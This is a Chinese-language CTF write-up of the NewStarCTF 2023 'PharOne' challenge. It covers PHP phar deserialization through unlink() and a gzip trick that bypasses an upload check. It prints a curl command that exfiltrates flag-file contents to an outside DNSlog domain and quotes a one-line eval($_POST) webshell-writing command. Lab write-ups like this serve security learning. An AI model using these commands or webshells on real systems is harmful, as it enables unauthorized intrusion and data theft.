【newstarctf2023】PharOne (DNS log外带法)
【newstarctf2023】PharOne (DNS log外带法)
题目描述
打开靶机,看到一个文件上传的页面,上传一句话木马文件后发现啥shell 拿不到,变换思路,看源码中有注释提示:class.php,url 请求 class.php 发现代码:
1 |
|
看到这个代码,就知道这个题要用 phar 去做了。
解题思路
留意到了 unlink 这个方法和 flag 这个类,这个方法是可以触发 phar 的反序列化的,这里列举一下可以触发 phar反序列化 的方法:
1 | fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() |
基本思路就是通过post 上传 phar 文件,然后触发 unlink 反序列化,在 Flag 类中触发exec($this->cmd); 实现 RCE。
phar 文件的构成:
在 phar 文件中的.metadata中可以写入 php 语句,当执行 phar://文件名 去读取该 phar 文件时,上述讲到的方法就会检查.metadata是否存在,如果存在,就触发反序列化。
先写一段 php 代码用于生成 phar 文件:
1 |
|
写完后改后缀为.gif,通过文件上传页面上传该 phar 文件,结果上传不上去,发现是他对内容做了检查,检查了 phar 的文件头:__HALT_COMPILER();
这里需要绕过检查,使用 linux 的gzip压缩 phar 文件来绕过检查,除了 gzip 以外,将Phar压缩成tar、bzip2后均能够触发反序列化,大致原理就是在执行phar://文件时,会判断这个文件是不是标准的 phar 文件,在判断过程中对 zip,gz,bz 这三种压缩形式的幻数做了处理,分别调用了他们对应的decompress过滤器做解压缩处理。
我们这里将生成的 phar 文件拖到 kali 用 gzip 进行压缩,然后上传,改后缀上传,文件名为:a.gif,发现成功上传,然后构造 payload:
file=phar://uploads/改名后的文件,发现空了 5 秒,成功rce。
这里另外一个难点就是无回显 RCE,本人当时一直弹不动 shell,所以就写了一个 DNSLOG 外带,具体指令为:
1 | curl http://9esedf.ceye.io/`cat $(find / -name flag*)` |
这里的 http://9esedf.ceye.io/ 是 dnslog 网站( http://ceye.io )分配给我的域名。这里注意 dnslog 外带只能带一个参数出来,所以如果你用 ls 只能获得到 ls 的第一个参数。之后用 find 指令去找 flag,然后带出来,获得 flag,结果如下:
官方题解
官方题解上说:
“Web根目录可写,可以直接写一个WebShell进去”
构造 cmd 为:
1 | $cmd = "echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php"; |
然后 getshell,确实没有往这方面想,是我想复杂了,学到了 QAQ